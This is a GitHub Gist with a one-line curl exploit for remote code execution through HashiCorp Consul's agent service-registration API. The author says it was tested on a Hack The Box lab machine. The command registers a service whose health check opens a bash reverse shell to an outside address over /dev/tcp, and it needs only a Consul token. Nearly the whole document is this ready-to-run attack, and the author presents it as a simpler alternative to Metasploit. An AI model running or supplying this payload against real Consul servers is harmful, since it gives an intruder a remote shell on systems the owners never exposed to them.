Last active
February 1, 2023 02:21
-
-
Save A1vinSmith/b394bbafa7a7c726e7fe78ccdfc421c3 to your computer and use it in GitHub Desktop.
Hashicorp Consul services API RCE & The simplest version of exploitation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
curl --header "X-Consul-Token: XX-<SNIP>-XX" \ | |
-X PUT \ | |
-H "Content-Type: application/json" \ | |
-d '{"Address": "127.0.0.1", "check": {"Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.10.10/80 0>&1"], "interval": "10s", "Timeout": "864000s"}, "ID": "alvinID01", "Name": "alvinName01", "Port": 80}' \ | |
http://127.0.0.1:8500/v1/agent/service/register |
The script needs one token X-Consul-Token
only to make it work. Tested on HTB Ambassador machine.
Also, please let me know the CVE or HCSEC number that I can't find them from
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Metasploit and even a python script are all overkill which I believe. A simple curl can do the job more elegantly.